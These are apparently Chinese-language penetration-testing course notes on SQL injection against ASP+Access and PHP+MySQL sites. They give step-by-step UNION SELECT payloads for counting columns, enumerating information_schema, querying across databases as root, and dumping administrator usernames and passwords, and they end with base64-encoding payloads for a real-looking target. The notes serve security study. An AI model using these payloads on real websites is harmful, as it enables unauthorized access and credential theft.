知识点
1、脚本代码与数据库前置知识
2、Access数据库注入-简易&偏移 (数据库是通过脚本代码去连接执行的)
3、MYSQL数据库注入-简易&权限跨库
前置知识:
-SQL注入漏洞产生原理分析
-SQL注入漏洞危害利用分析
-脚本代码与数据库操作流程
-数据库名,表名,列名,数据
-数据库类型,数据库用户,用户权限
案例
ASP+Access-简易注入-字典猜解
ASP+Access-偏移注入-报错显示
PHP+MYSQL-简易注入-存储特性
PHP+MYSQL-跨库注入-权限属性
脚本代码在实现代码与数据库进行数据通讯时,将定义好的SQL语句进行执行查询数据时。会使其中的SQL语句能通过参数传递自定义值来实现控制SQL语句,从而执行恶意的SQL语句,可以实现查询其他数据(数据库中的敏感数据,如管理员账号密码)。这一个过程就可以叫做SQL注入漏洞。
SQL语句查询,删除,添加,修改等操作
SQL语句有写法规则,也就是说必须符合正确的写法才能执行成功
漏洞产生根本条件:可控变量+特定函数
SQL注入攻击流程:
1、猜测数据库类型
2、根据类型选择思路
ACCESS
数据库名
表名
列名
数据
ASP+Access-简易注入-字典猜解
通过测试得知一共有1513行数据
当输入?id=1513 order by 22时正常回显,但是输入?id=1513 order by 23时页面报错,说明它的字段数是22个
查询admin表名:
UNION select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
查询admin表名下的admin等列名
回显了一个3,说明这是注入点位,只有3和15这两列的数据会显示在前端页面上
UNION select
1,2,admin,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
UNION select
1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin
再在15点位上输入password,就出现了账号密码
如果列名猜错了,就会直接报错
如果表名猜错了,也会报错
总结:由于Access数据库特性导致这个SQL注入是需要借助字典去猜解表名和列名的那么就会出现一种情况,表名或列名猜解不到可以自定义社工字典或采用偏移注入
ASP+Access-偏移注入-报错显示
相关文章:https://www.cnblogs.com/02SWD/p/15811580.html这个文章讲的十分的翔实,值得一看。
偏移注入就是解决表名已知但是列名未知的情况。
偏移注入的基本公式:**联合查询所要补充的字段数 = 当前字段数量 - 目标表的字段数 x N(N=1,2...)
**
- 【注意:“联合查询所要补充的字段数” 指的是union关键字后面的select查询所需补充的字段数】
- 在此处即为:联合查询补充字段数 = 当前字段数量(22) - admin表的字段数(6) x N
- 当N=1时我们称为 “1级偏移注入”,当N=2时我们称为 “2级偏移注入”;当N=3时我们称为 “3级偏移注入”,…
PHP+MYSQL-简易注入-存储特性
MYSQL 统一管理
最高数据库用户 = root用户
数据库A=网站A=数据库用户A
表名
列名
数据
数据库B=网站B=数据库用户B
数据库C=网站C=数据库用户C
为了网站和数据库的安全性,MYSQL内置有ROOT最高用户,划分等级,每个用户对应管理一个数据库,这样保证互不关联,从而不会影响到其他数据库的运行。
MYSQL两种思路:
1、非ROOT的注入攻击:常规类的猜解
2、ROOT用户的注入攻击:文件读写操作,跨库查询注入等
黑盒测试中可以采用user()获取当前用户权限,白盒中看连接用户即可
MYSQL5.0以上版本:自带的数据库名information_schema
information_schema:存储数据库下的数据库名及表名,列名信息的数据库
information_schema.tables:记录表名信息的表
information_schema.columns:记录列名信息的表
输入?id=2 order by 18时报错,当输入17时正常,说明字段数是17
在information_schema下面有一张叫做TABLES的表,TABLES的表里的TABLE_NAME就会记录所有的表名,
获取相关数据:
1、数据库版本-看是否符合information_schema查询-version()
2、数据库用户-看是否符合ROOT型注入攻击-user()
3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os
4、数据库名字-为后期猜解指定数据库下的表,列做准备-database()
ROOT类型攻击-猜解数据,文件读写,跨库查询
获取当前数据库下面的表名信息:
输入?id=-2 UNION SELECT database(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17得到数据库名字为syguestbook
输入?id=-2 UNION SELECT version(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17得到版本为5.5.53
输入?id=-2 UNION SELECT user(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17得到当前用户为root@localhost(看到root说明可以进行跨库查询o)
输入?id=-2 UNION SELECT @@version_compie_os,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17得到当前用户为Win32
输入?id=-2 UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=’syguestbook’(.代表下一级的意思)获取表名信息
解释:查询表名table_name从information_schema下面的tables这个记录表名信息的表,其中数据库名它等于syguestbook
返回了syguestbook数据库下Tables表下的五个表shop&sy_adminuser&sy_guestbook&sy_voteip&users
如果刚才的语句只能输出一个表名,那么我们就需要加上group_concat语句即输入?id=-2 UNION SELECT group_concat((table_name),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=’syguestbook’
就可以全部显示表名信息
输入UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name=’sy_adminuser’ and table_schema = ‘syguestbook’获取列名信息
输入UNION SELECT username,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from sy_adminuser获取账号密码具体数据
总结:
获取当前数据库下面的表名信息:
UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=’syguestbook’
获取sy_adminuser的列名信息:
UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name=’sy_adminuser’ and table_schema = ‘syguestbook’
获取指定数据:
UNION SELECT username,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from sy_adminuser
PHP+MYSQL-跨库注入-权限属性
跨库注入:实现当前网站跨库查询其他数据库对应网站的数据(需要有root权限)
获取当前mysql下的所有数据库名
在information_schema下的schema_name有所有的数据库名
输入?id=-2 UNION SELECT schema_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.schemata获取所有数据库名
输入UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=’xhcms’获取xhcms下的表名信息
输入UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name=’manage’ and table_schema = ‘xhcms’获取manage(manege是张表)下的列名信息
输入UNION SELECT user,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from xhcms.manage(因为这是跨库查询,所以必须加上数据库的名字)获取指定数据
代码设计是默认进去到syguestbook的数据库,所以你直接写manage他是去访问syguesbook,所以得标注下xhcms
实战
这个网站会先解密base64的数据,所以我们在进行sql注入的时候要先加语句进行base64加密,在进行order by查询字段数时,发现7是正常回显,8是报错的,所以字段数为7
输入1 union select 1,2,3,4,5,6,7的base64加密字符后得到了注入点为2,5,4
输入 1 union select 1,user(),3,version(),database(),6,7的base64加密字符后,分别得到了user是csearch@localhost database是csearch,版本是4.1.22-standard,好像…得5以上的版本才有information_schema,所以只能靠爆破捏,但是这狗日的还要base64加密,所以有点麻烦。
去burp上搞个字典,然后再base64加密,进行爆破一下,但是貌似得把字典前面也都加上固定的格式,不然不太好搞
或者用sqlmap注入base64编码会更方便一点